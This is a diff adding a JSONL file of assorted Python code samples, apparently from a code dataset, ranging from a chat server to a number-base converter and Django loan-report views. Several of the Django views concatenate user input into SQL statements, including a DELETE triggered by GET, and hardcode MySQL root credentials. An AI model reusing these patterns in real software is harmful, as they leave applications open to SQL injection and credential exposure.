diff --git "a/483.jsonl" "b/483.jsonl" new file mode 100644--- /dev/null +++ "b/483.jsonl" @@ -0,0 +1,669 @@ +{"seq_id":"415394361","text":"# accept two input lists\n# returns a new list which contains only the unique elements from both lists\ndef unique_elements(A ,B ) :\n my_list=[]\n for item in A :\n if item not in my_list :\n my_list.append(item)\n for item in B :\n if item not in my_list :\n my_list.append(item)\n\n return my_list\n\nA=['a','b','c','d']\nB=['c','f']\nmy_list=unique_elements(A,B)\nprint(my_list)\n","sub_path":"python/48/unique_elements_multiple_lists.py","file_name":"unique_elements_multiple_lists.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"336486648","text":"import select, socket, sys, queue, logging\n\nlogger = logging.getLogger()\nlogger.setLevel(logging.DEBUG)\n\nclass Server():\n def __init__(self, host='192.168.1.13', port=8080, recv_buffer=4096):\n self.host = host\n self.port = port\n self.recv_buffer = recv_buffer\n # Sockets from which we expect to read\n self.inputs = []\n # Sockets to which we expect to write\n self.outputs = []\n # Outgoing message queues (socket:Queue)\n self.message_queues = {}\n\n def bind(self):\n try:\n # Create a TCP/IP socket\n self.server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.server_socket.setblocking(0) # non blocking socket\n self.server_socket.bind((self.host, self.port))\n self.server_socket.listen(5)\n\n # add server socket object to the list of readable connections\n self.inputs.append(self.server_socket)\n\n logging.info(\"Chat server listenning on port: {}, host: {}\".format(self.port, self.host))\n\n except socket.error as error:\n logging.warning(error)\n logging.warning(\"Couldn't connect to the remote host: {}\".format(self.host))\n sys.exit(1)\n\n # broadcast chat messages to all connected clients exept the socket in arg\n def broadcast(self, sock, data):\n for s in self.inputs:\n # send the message only to peer\n if not (s is self.server_socket) and not (s is sock):\n # Add output channel for response\n if s not in self.outputs:\n self.outputs.append(s)\n\n self.message_queues[s].put(data)\n\n def run(self):\n self.bind()\n\n while self.inputs:\n readable, writable, exceptional = select.select(self.inputs, self.outputs, self.inputs)\n\n for s in readable:\n if s is self.server_socket:\n # A \"readable\" server socket is ready to accept a connection\n connection, client_address = self.server_socket.accept()\n connection.setblocking(0) # non blocking socket\n self.inputs.append(connection)\n\n self.message_queues[connection] = queue.Queue()\n\n logging.info('Client (%s, %s) connected' % client_address)\n # a message from a client on a new connection\n else:\n try:\n\n data = s.recv(self.recv_buffer)\n\n if data:\n # A readable client socket has data\n logging.info('Received \"%s\" from %s' % (data, s.getpeername()))\n\n self.broadcast(s, data)\n else:\n # Interpret empty result as closed connection\n logging.warning('Closing {} after reading no data'.format(client_address))\n\n # Stop listening for input on the connection\n if s in self.outputs:\n self.outputs.remove(s)\n self.inputs.remove(s)\n s.close()\n\n # Remove message queue\n del self.message_queues[s]\n except:\n continue\n\n for s in writable:\n try:\n next_msg = self.message_queues[s].get_nowait()\n except queue.Empty:\n logging.warning('Output queue for {} is empty'.format(s.getpeername()))\n self.outputs.remove(s)\n else:\n try:\n logging.info('Sending \"%s\" to %s' % (next_msg, s.getpeername()))\n s.send(next_msg)\n except:\n s.close()\n\n\n\n for s in exceptional:\n logging.warning('Handling exceptional condition for {}'.format(s.getpeername()))\n\n self.inputs.remove(s)\n if s in self.outputs:\n self.outputs.remove(s)\n s.close()\n\n # Remove message queue\n del self.message_queues[s]\n\nif __name__ == \"__main__\":\n server = Server()\n server.run()\n","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":4373,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"22543635","text":"\"\"\" wireframe: Minimalistic Web Resource Framework built on Python WSGI.\n\nHTTP request class.\n\nPer Kraulis\n2009-10-31\n2010-01-25 added '__getitem__' and 'get' methods\n2010-03-04 fixed case when no encoded data sent with request\n2010-06-27 added 'is_msie' parameter\n\"\"\"\n\nimport copy, cgi, Cookie, sys\n\nfrom .headers import Headers\n\n\nclass Request(object):\n \"Standard request class with input body interpreted as CGI form fields.\"\n\n HUMAN_USER_AGENT_SIGNATURES = ['mozilla', 'firefox', 'opera',\n 'chrome', 'safari', 'msie']\n\n def __init__(self, environ, path_values=[], path_named_values={}):\n self.environ = environ.copy()\n self.path_values = copy.copy(path_values) # May be other than sequence\n self.path_named_values = path_named_values.copy()\n self.setup()\n\n def setup(self):\n \"Standard setup of attributes according to the input data.\"\n self.setup_path()\n self.setup_headers()\n self.setup_authenticate()\n self.setup_human_user_agent()\n self.setup_cookie()\n self.setup_data()\n self.setup_http_method()\n\n def setup_path(self):\n \"Obtain the URL path for the request.\"\n self.path = self.environ['PATH_INFO']\n\n def setup_headers(self):\n \"Obtain the HTTP headers for the request.\"\n self.headers = Headers()\n for key in self.environ:\n if key.startswith('HTTP_'):\n self.headers[key[5:]] = str(self.environ[key])\n\n def setup_authenticate(self):\n \"Set the 'user' and 'password' members to None.\"\n self.user = None\n self.password = None\n\n def setup_human_user_agent(self):\n \"Guess whether the user agent represents a human user, i.e. a browser.\"\n self.human_user_agent = False\n self.human_user_agent_is_msie = False\n try:\n user_agent = self.environ['HTTP_USER_AGENT'].lower()\n for signature in self.HUMAN_USER_AGENT_SIGNATURES:\n if signature in user_agent:\n self.human_user_agent = True\n break\n self.human_user_agent_is_msie = 'msie' in user_agent\n except KeyError:\n pass\n\n def setup_cookie(self):\n \"Obtain the SimpleCookie instance for the request.\"\n self.cookie = Cookie.SimpleCookie(self.environ.get('HTTP_COOKIE'))\n\n def setup_data(self):\n \"\"\"Handle the input data according to content type.\n If 'application/x-www-form-urlencoded' or 'multipart/form-data',\n then interpret the input as CGI FieldStorage according to the method,\n else set the 'file' attribute to the input file handle.\"\"\"\n try: # Strip off trailing encoding info\n self.content_type = self.environ['CONTENT_TYPE'].split(';')[0]\n except KeyError:\n self.content_type = 'application/octet-stream'\n if self.content_type in ('application/x-www-form-urlencoded',\n 'multipart/form-data'):\n self.file = None\n request_method = self.environ['REQUEST_METHOD']\n if request_method == 'GET':\n self.cgi_fields = cgi.FieldStorage(environ=self.environ)\n else:\n # cgi.FieldStorage problem when REQUEST_METHOD is not POST\n self.environ['REQUEST_METHOD'] = 'POST' # Workaround\n fp = self.environ['wsgi.input']\n self.cgi_fields = cgi.FieldStorage(fp=fp, environ=self.environ)\n self.environ['REQUEST_METHOD'] = request_method # Restore\n else:\n self.file = self.environ['wsgi.input']\n try:\n self.cgi_fields = cgi.FieldStorage(environ=self.environ)\n except IOError: # sys.stdin is restricted in WSGI\n self.cgi_fields = dict()\n\n def setup_http_method(self):\n \"\"\"Obtain the HTTP request for the request.\n If the method is POST, then it may be overloaded by\n the parameter 'http_method'.\"\"\"\n self.http_method = self.environ['REQUEST_METHOD'].upper()\n if self.http_method == 'POST':\n try:\n self.http_method = self.cgi_fields['http_method'].value.upper()\n except KeyError:\n pass\n\n @property\n def data(self):\n \"Contains the request data body, if any.\"\n try:\n return self._data\n except AttributeError:\n if self.file is None:\n self._data = None\n else:\n self._data = self.file.read()\n self.file = None\n return self._data\n\n def __getitem__(self, key):\n \"\"\"Return the value of the parameter 'key'.\n If the 'key' value is an integer, then look in 'path_values'.\n Raise IndexError if the key is not present.\n Raise ValueError if 'path_values' is a string.\n Otherwise, look first in 'path_named_values', then in 'cgi_fields'.\n Raise KeyError if the key is not present there.\"\"\"\n if isinstance(key, (int, long)):\n if isinstance(self.path_values, basestring):\n raise ValueError('path_values is a string; index meaningless')\n try:\n return self.path_values[key]\n except IndexError:\n raise IndexError(\"no such index '%s' in request data\")\n else:\n try:\n return self.path_named_values[key]\n except KeyError:\n try:\n return self.cgi_fields[key].value\n except KeyError:\n raise KeyError(\"no such key '%s' in request data\" % key)\n\n def __contains__(self, key):\n \"Is the named field in 'path_named_values' or 'cgi_fields'?\"\n return key in self.path_named_values or key in self.cgi_fields\n\n def get(self, key, default=None):\n \"\"\"Return the value of the parameter 'key', or the default.\n The parameter, if it exists, must be a string value, not a file.\"\"\"\n try:\n return self[key]\n except (IndexError, KeyError):\n return default\n","sub_path":"request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":6172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"639816585","text":"'''\nCreated on 27 Mar 2014\n\n@author: EwoutVE\n'''\nfrom sqlalchemy import create_engine, Text, Date, Column, Integer, String, ForeignKey\n\nclass Therapy(Base):\n __tablename__ = 'therapies'\n \n patientId = Column(Integer, ForeignKey('patients.id'))\n startDate = Column(Date)\n stopDate = Column(Date)\n drugNames = Column(Text)\n drugTypes = Column(String(length=45))\n id = Column(Integer, autoincrement=True, primary_key=True)\n \n def __init__(self, patientId, startDate, stopDate, drugNames, drugTypes):\n self.patientId = patientId\n self.startDate = startDate\n self.stopDate = stopDate\n self.drugNames = drugNames\n self.drugTypes = drugTypes\n \n def __repr__(self):\n return \"\" % (self.patientId, self.startDate, self.stopDate, self.drugNames, self.drugTypes)\n","sub_path":"Model/Backup/Therapy.py","file_name":"Therapy.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"571104785","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: SBOHORA\n\"\"\"\n\ndef count_substring(string, sub_string):\n \"\"\"\n Print the number of times that the substring occurs in the given string\n :param string: string is an input string\n :param sub_string: sub_string is a part of input string to be counted for its occurrence\n :return: returns swapped case\n Usage:\n s = 'GNCHCDCDC'\n count_substring(s, 'CDC')\n \"\"\"\n sum_count = 0\n for i in range(len(string)):\n if string.startswith(sub_string, i):\n add = 1\n sum_count += add\n return sum_count \n","sub_path":"sandbox/count_substring.py","file_name":"count_substring.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"635630115","text":"import time\n\n\ndef fibo(n):\n a = 0;\n b = 1;\n\n if n == a:\n print(\"fibonacci is not existed\")\n\n elif n == b:\n return b\n else:\n for i in range(1, n):\n c = a + b\n a = b\n b = c\n return c\n\n\nif __name__ == '__main__':\n n = input('Enter your number:')\n n = int(n)\n\n print(fibo(n))\n\n start_time = time.time()\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n","sub_path":"Algorithm Design/fibonancci/fibonancci_without_recersive.py","file_name":"fibonancci_without_recersive.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"333142122","text":"#-*- coding=utf-8 -*-\nimport requests\nimport csv\nimport pandas as pd\n\nheaders={'Accept':'application/json, text/javascript, */*',\n 'Accept-Encoding':'gzip, deflate',\n 'Accept-Language':'en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7',\n 'Connection':'keep-alive',\n 'Content-Length':'51',\n 'Content-Type':'application/x-www-form-urlencoded',\n 'DNT':'1',\n 'Host':'moni.10jqka.com.cn',\n 'Origin':'http://moni.10jqka.com.cn',\n 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36',\n 'X-Requested-With':'XMLHttpRequest'}\n\n#请求交易数据,返回JSON格式的交易数据,输入网址,用户ID和用户名称\ndef requests_transaction_data(UserId,User,url='http://moni.10jqka.com.cn/hezuo/index/searchjyjl/tiaozhan'):\n payload={\n 'otherUserId':UserId,\n 'otherUser':User,\n 'page':'1'}\n r = requests.post(url, data=payload,headers=headers)\n return r.json()\n\n\n#请求用户数据,返回JSON格式的交易数据,输入网址,用户ID和用户名称\n#发现了按照页数请求即可爬到全部的用户数据,没有必要按顺序请求\ndef requests_user_data(url='http://moni.10jqka.com.cn/hezuo/index/searchph/tiaozhan'):\n payload={\n 'page':'1',\n 'orderField':'1'}\n r = requests.post(url, data=payload,headers=headers)\n pageCount = r.json()['result']['pages']['pageCount']\n\n users_list=[]\n for page in range(1,int(pageCount)+1):\n payload={\n 'page':str(page),\n 'orderField':'1'}\n r = requests.post(url, data=payload,headers=headers)\n for user in r.json()['result']['pmData']:\n L=[user['userName'],user['userid']]\n users_list.append(L)\n write_csv('user_data.csv',L)\n print('第%d页已爬取,总共%d页' %(page,int(pageCount)))\n # return users_list\n\n\n#输入文件名和列表,执行写入csv操作\ndef write_csv(file,L):\n with open(file,'a+',newline='') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerow(L)\n csvfile.close()\n\n#读入user_data.csv为dataFrame格式,重命名header并且去重返回\ndef process_user_data(file_name):\n user_data=pd.read_csv(file_name,encoding='utf8',header=None)\n user_data.rename(columns={0:'user',1:'userid'},inplace=True)\n user_data=user_data.drop_duplicates()\n return user_data\n\n\n","sub_path":"tonghuashun-master/function2.py","file_name":"function2.py","file_ext":"py","file_size_in_byte":2439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"541089609","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport load_data\nimport label_gender\nimport majority\n\nval_conv, val_emb, val_rec, val_spk, val_text, val_mfcc = load_data.dataset()\n\ndef speaker_occurrences(dataset):\n x = dataset[:,0]\n y = dataset[:,1]\n plt.bar(x,y,align='center')\n plt.xlabel('Speaker ID')\n plt.ylabel('Occurrences')\n plt.show()\n\ndef hypothesis():\n x = [-2, -1, 0, 1, 2, 3, 4]\n y = [0.45, 0.35, 0.1, 0.2, 0.35, 0.45, 0.6]\n plt.bar(x,y,align='center')\n plt.xlabel('Learning directly from MFCC (-2), Convolutional layer(-1), Recurrent layer (0 till 4)')\n plt.ylabel('Error rate')\n plt.show()\n\ndef plot_male_female_dist(val_spk):\n male, female = label_gender.count_occurences_male_female(val_spk)\n\n plt.bar([0,1], [male,female], align='center')\n plt.xticks([0,1], ['Male','Female'])\n plt.savefig('./img/male_female_distribution.png')\n plt.show()\n\nmajority.majority(val_spk)\n","sub_path":"explore.py","file_name":"explore.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"154088950","text":"import math\n\nclass Convert():\n\t\"\"\"docstring for Convert\"\"\"\n\tdef __init__(self):\n\t\tsuper(Convert, self).__init__()\n\t\tself.B_TO_HEX = {\"0000\":\"0\",\"0001\":\"1\",\"0010\":\"2\",\"0011\":\"3\",\"0100\":\"4\",\"0101\":\"5\",\"0110\":\"6\",\"0111\":\"7\",\"1000\":\"8\",\n\t\t\"1001\":\"9\",\"1010\":\"A\",\"1011\":\"B\",\"1100\":\"C\",\"1101\":\"D\",\"1110\":\"E\",\"1111\":\"F\"}\n\t\tself.HEX_TO_B = {\"0\":\"0000\",\"1\":\"0001\",\"2\":\"0010\",\"3\":\"0011\",\"4\":\"0100\",\"5\":\"0101\",\"6\":\"0110\",\"7\":\"0111\",\"8\":\"1000\",\n\t\t\"9\":\"1001\",\"A\":\"1010\",\"B\":\"1011\",\"C\":\"1100\",\"D\":\"1101\",\"E\":\"1110\",\"F\":\"1111\"}\n\t\t\n\n\t\tself.choice = input(\"\"\"\n\t\tPlease make your choice\n\n\t\t1 - From Binary to Decimal and hexa\n\t\t2 - From Decimal to binary and hexa\t\n\t\t3 - From hexa to decimal and binary\n\n\t\t\"\"\")\n\n\t\tif(self.choice == \"1\"):\n\t\t\tself.fromBinary()\n\t\telif(self.choice == \"2\"):\n\t\t\tself.fromDecimal()\n\t\telif(self.choice == \"3\"):\n\t\t\tself.fromHexa()\n\n\tdef fromBinary(self):\n\t\tbinaryInput = int(input(\"\\n\\nPlease enter your binary : \"))\n\t\tbOld = binaryInput\n\n\t\t#if the lenght can't be divided by 4, we fill with zeros\n\t\tif(len(str(binaryInput))%4 != 0):\n\t\t\tnextFactor = 0\n\t\t\tfor i in range(1,4):\n\t\t\t\tif((len(str(binaryInput)) + i)%4 == 0):\n\t\t\t\t\tnextFactor = len(str(binaryInput)) + i\n\t\t\t\t\t#print(\"Il faut rajouter \" + str(i) + \" zéros\")\n\t\t\t\t\t#print(str(binaryInput).zfill(nextFactor))\n\t\t\t\t\tbinaryInput = str(binaryInput).zfill(nextFactor)\n\t\t\t\t\tbreak\n\n\t\t\t\n\n\t\treverseBinary = \"\"\n\n\t\t# let's start with the decimal conversion\n\t\tdecimalSum = 0\n\n\t\tfor i in range(1, len(str(binaryInput)) + 1):\n\t\t\t#print(str(binaryInput)[ len(str(binaryInput)) - i ] + \" : rang \" + str(i-1))\n\t\t\tif( int(str(binaryInput)[ len(str(binaryInput)) - i ]) == 1):\n\t\t\t\tdecimalSum += math.pow(2, i-1 )\n\n\t\t#Now for the hexadecimal form\n\t\tnibbleArray = []\n\t\thexArray = []\n\n\t\t#we reverse the binary, and in this way it will be easier\n\t\tfor y in range(0, len(str(binaryInput))):\n\t\t\t#print( str(binaryInput)[ len(str(binaryInput)) - 1 - y ] )\n\t\t\treverseBinary += str(binaryInput)[ len(str(binaryInput)) - 1 - y ]\n\t\t\n\t\t\n\t\t\n\t\t\t\t\n\t\tfor z in range(1,len(reverseBinary) + 1):\n\n\t\t\tif(z%4 == 0):\n\t\t\t\t#print(reverseBinary[z-1])\n\t\t\t\tnibble = \"\"\n\t\t\t\tfor k in range(z-4,z):\n\t\t\t\t\t#print(reverseBinary[k])\n\t\t\t\t\tnibble += reverseBinary[k]\n\n\t\t\t\t#we had the nibble\n\t\t\t\tnibbleArray.insert(0,nibble[::-1])\n\t\t\t#print(\" \")\n\n\t\t\n\t\tfor x in range(0,len(nibbleArray)):\n\t\t\thexArray.append(self.B_TO_HEX[nibbleArray[x]])\n\n\t\thexForm = \"\"\n\n\t\tfor y in range(0,len(hexArray)):\n\t\t\thexForm += hexArray[y]\n\n\n\t\tprint(f'''\n\t\tResults for {bOld} :\n\n\t\tDecimal form : {decimalSum}\n\t\tHexadecimal form : 0x{hexForm}\n\n\t\t\t''')\n\n\n\t\t\n\n\tdef fromDecimal(self):\n\t\tdecimalInput = int(input(\"\\n\\nPlease enter your decimal : \"))\n\n\t\tremainderArray = []\n\n\t\tdividende = decimalInput\n\n\t\twhile(math.floor(dividende/2) != 0):\n\t\t\t#print(f\"{dividende}/2\")\n\t\t\tremainderArray.append(dividende%2)\n\t\t\tif(math.floor(dividende/2) != 1):\n\t\t\t\tdividende = math.floor(dividende/2)\n\t\t\telse:\n\t\t\t\tremainderArray.append(1)\n\t\t\t\tdividende = math.floor(dividende/2)\n\n\n\t\tbinaryForm = \"\"\n\n\t\tfor g in range(0,len(remainderArray)):\n\t\t\tbinaryForm += str(remainderArray[g])\n\n\n\t\tbinaryInput = binaryForm[::-1]\n\t\tbOldd = binaryInput\n\n\t\t#if the lenght can't be divided by 4, we fill with zeros\n\t\tif(len(str(binaryInput))%4 != 0):\n\t\t\tnextFactor = 0\n\t\t\tfor i in range(1,4):\n\t\t\t\tif((len(str(binaryInput)) + i)%4 == 0):\n\t\t\t\t\tnextFactor = len(str(binaryInput)) + i\n\t\t\t\t\t#print(\"Il faut rajouter \" + str(i) + \" zéros\")\n\t\t\t\t\t#print(str(binaryInput).zfill(nextFactor))\n\t\t\t\t\tbinaryInput = str(binaryInput).zfill(nextFactor)\n\t\t\t\t\tbreak\n\n\t\t\t\n\n\t\treverseBinary = \"\"\n\n\t\t#Now for the hexadecimal form\n\t\tnibbleArray = []\n\t\thexArray = []\n\n\t\t#we reverse the binary, and in this way it will be easier\n\t\tfor y in range(0, len(str(binaryInput))):\n\t\t\t#print( str(binaryInput)[ len(str(binaryInput)) - 1 - y ] )\n\t\t\treverseBinary += str(binaryInput)[ len(str(binaryInput)) - 1 - y ]\n\t\t\n\t\t\n\t\t\n\t\t\t\t\n\t\tfor z in range(1,len(reverseBinary) + 1):\n\n\t\t\tif(z%4 == 0):\n\t\t\t\t#print(reverseBinary[z-1])\n\t\t\t\tnibble = \"\"\n\t\t\t\tfor k in range(z-4,z):\n\t\t\t\t\t#print(reverseBinary[k])\n\t\t\t\t\tnibble += reverseBinary[k]\n\n\t\t\t\t#we had the nibble\n\t\t\t\tnibbleArray.insert(0,nibble[::-1])\n\t\t\t#print(\" \")\n\n\t\t\n\t\tfor x in range(0,len(nibbleArray)):\n\t\t\thexArray.append(self.B_TO_HEX[nibbleArray[x]])\n\n\t\thexForm = \"\"\n\n\t\tfor y in range(0,len(hexArray)):\n\t\t\thexForm += hexArray[y]\n\n\t\tprint(f'''\n\t\tResults for {decimalInput} :\n\n\t\tBinary form : 0b{bOldd}\n\t\tHexadecimal form : 0x{hexForm}\n\n\t\t\t''')\n\t\t\n\n\tdef get_key(self,val):\n\n\t\tfor key, value in self.B_TO_HEX.items():\n if(val == value):\n return key\n\n\n\tdef fromHexa(self):\n\t\thexaInput = input(\"\\n\\nPlease enter your hexa : \")\n\n\t\tbinaryForm = \"\"\n\n\t\tfor i in range(0,len(hexaInput)):\n\t\t\tbinaryForm += self.HEX_TO_B[hexaInput[i]]\n\n\t\t# let's start with the decimal conversion\n\t\tdecimalSum = 0\n\n\t\tfor i in range(1, len(str(binaryForm)) + 1):\n\t\t\t#print(str(binaryForm)[ len(str(binaryForm)) - i ] + \" : rang \" + str(i-1))\n\t\t\tif( int(str(binaryForm)[ len(str(binaryForm)) - i ]) == 1):\n\t\t\t\tdecimalSum += math.pow(2, i-1 )\n\n\n\t\tprint(f'''\n\t\tResults for 0x{hexaInput} :\n\n\t\tDecimal form : {decimalSum}\n\t\tBinary form : 0b{binaryForm}\n\n\t\t\t''')\n\n\nif __name__ == '__main__':\n\tConvert()\n","sub_path":"decToBinary.py","file_name":"decToBinary.py","file_ext":"py","file_size_in_byte":5225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"208743515","text":"import datetime\nfrom django.template import Template, Context, loader\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom mysql.connector import cursor\nimport pymysql\nfrom rest_framework import views\n\nfrom mdmteam.forms import TestForm, DeleteForm, UpdateForm\nfrom django.shortcuts import render, redirect\nimport csv, io\n\nfrom django.shortcuts import render\nimport datetime\nfrom users.ConnpoolUser import GetConn, db3, db3curr\n\nconn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='123456', db='loan')\ncursor = conn.cursor()\n\ndef mdm(request):\n\n template = loader.get_template('mdm.html')\n\n username=\"\"\n context = {'home':'http://127.0.0.1:8001'}\n print(username)\n return render (request, 'mdm.html')\n #return HttpResponse(template.render(context, request))\n\n\n\n# Create your views here.\ndef reports(request):\n import pymysql\n\n # Create Connection Object\n # ##############################################################################\n conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='123456', db='loan')\n cursor = conn.cursor()\n\n\n # Reading multiple datatypes and print to screen\n cursor.execute(\"select * from loan_mdm_lookup;\")\n # use fetchall() to get the list of row data\n l_data = []\n \n for loan_mdm_lookup_id, CreditScoreMin, CreditScoreMax, LoanAmountMin, LoanAmountMax, IntrestRatePct, DurationMonths, eff_from_date, eff_to_date in cursor.fetchall():\n l_data.append({ \"loan_mdm_lookup_id\": loan_mdm_lookup_id\n ,\"CreditScoreMin\": CreditScoreMin\n ,\"CreditScoreMax\": CreditScoreMax\n ,\"LoanAmountMin\" : LoanAmountMin\n ,\"LoanAmountMax\" : LoanAmountMax\n ,\"IntrestRatePct\": IntrestRatePct\n ,\"DurationMonths\": DurationMonths\n ,\"eff_from_date\" : eff_from_date\n ,\"eff_to_date\" : eff_to_date})\n\n\n print(l_data)\n \n # Create Template Object\n template = loader.get_template('mdm_report.html')\n context = { 'l_data':l_data }\n return HttpResponse(template.render(context, request))\n\n\ndef loanManager(request):\n if request.method == 'POST':\n\n # Create Template Object\n template = loader.get_template ('mdm_single_loan_entry.html')\n testForm = TestForm (request.POST)\n\n if testForm.is_valid ():\n LoanID = testForm.cleaned_data.get ('LoanID')\n CreditScoreMin = testForm.cleaned_data.get ('CreditScoreMin')\n CreditScoreMax = testForm.cleaned_data.get ('CreditScoreMax')\n LoanAmountMin = testForm.cleaned_data.get ('LoanAmountMin')\n LoanAmountMax = testForm.cleaned_data.get ('LoanAmountMax')\n IntrestRatePct = testForm.cleaned_data.get ('IntrestRatePct')\n DurationMonths = testForm.cleaned_data.get ('DurationMonths')\n\n print(\"before reading dates\")\n eff_from_date = testForm.cleaned_data.get ('eff_from_date')\n eff_to_date = testForm.cleaned_data.get ('eff_to_date')\n\n dateVal = datetime.datetime.strptime (str (eff_to_date), '%Y%m%d')\n toDate = '\"'+datetime.date.strftime (dateVal, '%Y-%m-%d')+'\"'\n\n print ('formated date ----->', toDate)\n\n dateVal2 = datetime.datetime.strptime (str (eff_from_date), '%Y%m%d')\n toDate2 = '\"'+datetime.date.strftime (dateVal2, '%Y-%m-%d') +'\"'\n\n print ('formated date ----->', toDate2)\n\n print (LoanID)\n l_ins_script = 'INSERT INTO loan_mdm_lookup( loan_mdm_lookup_id,CreditScoreMin,CreditScoreMax,' \\\n 'LoanAmountMin,LoanAmountMax ,IntrestRatePct, DurationMonths,eff_from_date,eff_to_date) ' \\\n 'VALUES ('+str(LoanID )+','+\\\n str(CreditScoreMin)+','+str(CreditScoreMax)+',' +str(LoanAmountMin) \\\n +','+str(LoanAmountMax) +','+str(IntrestRatePct) +','+str(DurationMonths) +','+str(toDate2) +\\\n ',' +str(toDate)+')'\n\n print(l_ins_script)\n cursor.execute(l_ins_script)\n conn.commit()\n\n # Use the \"context\" to render the HTML Template to display values\n # return HttpResponse(template.render(context, request))\n return render (request, 'mdm_single_loan_entry.html')\n else:\n form = TestForm ()\n return render (request, 'mdm_single_loan_entry.html', {'form': form})\n\ndef deletereport (request):\n print (\"-----> inside delete report function\")\n conn=GetConn()\n db3curr=db3.cursor()\n if request.method == 'POST' or request.method == 'GET' :\n\n testForm = DeleteForm (request.GET)\n if testForm.is_valid():\n print (\"-----> inside delete report form\")\n LoanID = testForm.cleaned_data.get('LoanID')\n\n db3curr.execute(\"delete from loan_mdm_lookup where loan_mdm_lookup_id=\" + (str (LoanID)))\n print (\"deleted loanid\", LoanID)\n db3.commit()\n db3curr.close()\n\n return HttpResponse ('data deleted')\n else:\n template = loader.get_template ('mdm_single_loan_entry.html')\n\n render(request, template)\n\ndef loadEditreportById (request):\n\n id = request.GET['id']\n print (\"-----> inside load edit report form\", id)\n conn=GetConn()\n db3curr=db3.cursor()\n\n cursor.execute (\"select * from loan_mdm_lookup where loan_mdm_lookup_id=\" + (str (id)))\n # use fetchall() to get the list of row data\n l_data = \"\"\n\n for loan_mdm_lookup_id, CreditScoreMin, CreditScoreMax, LoanAmountMin, LoanAmountMax, IntrestRatePct, DurationMonths, eff_from_date, eff_to_date in cursor.fetchall():\n l_data={\"LoanID\": loan_mdm_lookup_id\n , \"CreditScoreMin\": CreditScoreMin\n , \"CreditScoreMax\": CreditScoreMax\n , \"LoanAmountMin\": LoanAmountMin\n , \"LoanAmountMax\": LoanAmountMax\n , \"IntrestRatePct\": IntrestRatePct\n , \"DurationMonths\": DurationMonths\n , \"eff_from_date\": eff_from_date\n , \"eff_to_date\": eff_to_date}\n\n print (l_data)\n editForm = UpdateForm (l_data)\n\n db3curr.close()\n return render ( request,'mdm_delete_report.html', {'form': editForm})\n\n\ndef report_update(request):\n print(\"before requset\")\n\n if request.method == 'GET' or request.method == 'POST' :\n TestForm1=UpdateForm(request.POST)\n print(\"request\",request)\n print (\"fileds------> \",TestForm1.is_valid())\n\n if TestForm1.is_valid ():\n print ('LoanID')\n\n LoanID = TestForm1.cleaned_data.get ('LoanID')\n CreditScoreMin = TestForm1.cleaned_data.get ('CreditScoreMin')\n CreditScoreMax = TestForm1.cleaned_data.get ('CreditScoreMax')\n LoanAmountMin = TestForm1.cleaned_data.get ('LoanAmountMin')\n LoanAmountMax = TestForm1.cleaned_data.get ('LoanAmountMax')\n IntrestRatePct = TestForm1.cleaned_data.get ('IntrestRatePct')\n DurationMonths = TestForm1.cleaned_data.get ('DurationMonths')\n eff_from_date = TestForm1.cleaned_data.get ('eff_from_date')\n eff_to_date = TestForm1.cleaned_data.get ('eff_to_date')\n print (\"date values-----> fromdate \", eff_from_date, \" to date \" ,eff_to_date)\n dateVal = datetime.datetime.strptime (str (eff_to_date), '%Y-%m-%d')\n toDate = datetime.date.strftime (dateVal, '%Y-%m-%d')\n\n dateVal2 = datetime.datetime.strptime (str (eff_from_date), '%Y-%m-%d')\n toDate2 = datetime.date.strftime (dateVal2, '%Y-%m-%d')\n updateSqlstr = 'UPDATE loan_mdm_lookup SET CreditScoreMin=%s,CreditScoreMax=%s, LoanAmountMin=%s,LoanAmountMax=%s,IntrestRatePct=%s, DurationMonths=%s,eff_from_date=%s, eff_to_date=%s WHERE loan_mdm_lookup_id=%s '\n updateValues= ( CreditScoreMin , CreditScoreMax , LoanAmountMin ,LoanAmountMax , IntrestRatePct , DurationMonths, toDate2 , toDate, LoanID )\n cursor.execute (updateSqlstr, updateValues)\n print (\"updated\", LoanID)\n conn.commit ()\n return HttpResponse(\"Updated\")\n\n\ncursor = conn.cursor()\n\ndef uploadPage(request):\n print('load upload page')\n template = loader.get_template ('uploadcsv.html')\n context = {'uploadPage': 'http://127.0.0.1:8002'}\n return HttpResponse(template.render(context, request))\n\ndef UploadCsv(request):\n print (\"Start file upload view\")\n template = loader.get_template ('uploadcsv.html')\n\n if request.method == 'POST' :\n print (\"after if Start file upload view\")\n print (\"start validation file upload view\")\n csvfile = request.FILES['file']\n print(csvfile)\n # let's check if it is a csv file\n #if not csvfile.name.endswith ('.csv'):\n #messages.error (request, 'THIS IS NOT A CSV FILE')\n data_set = csvfile.read().decode ('UTF-8')\n io_string = io.StringIO(data_set)\n next (io_string)\n\n reader = csv.reader (io_string, delimiter=\",\", quotechar=\"|\")\n 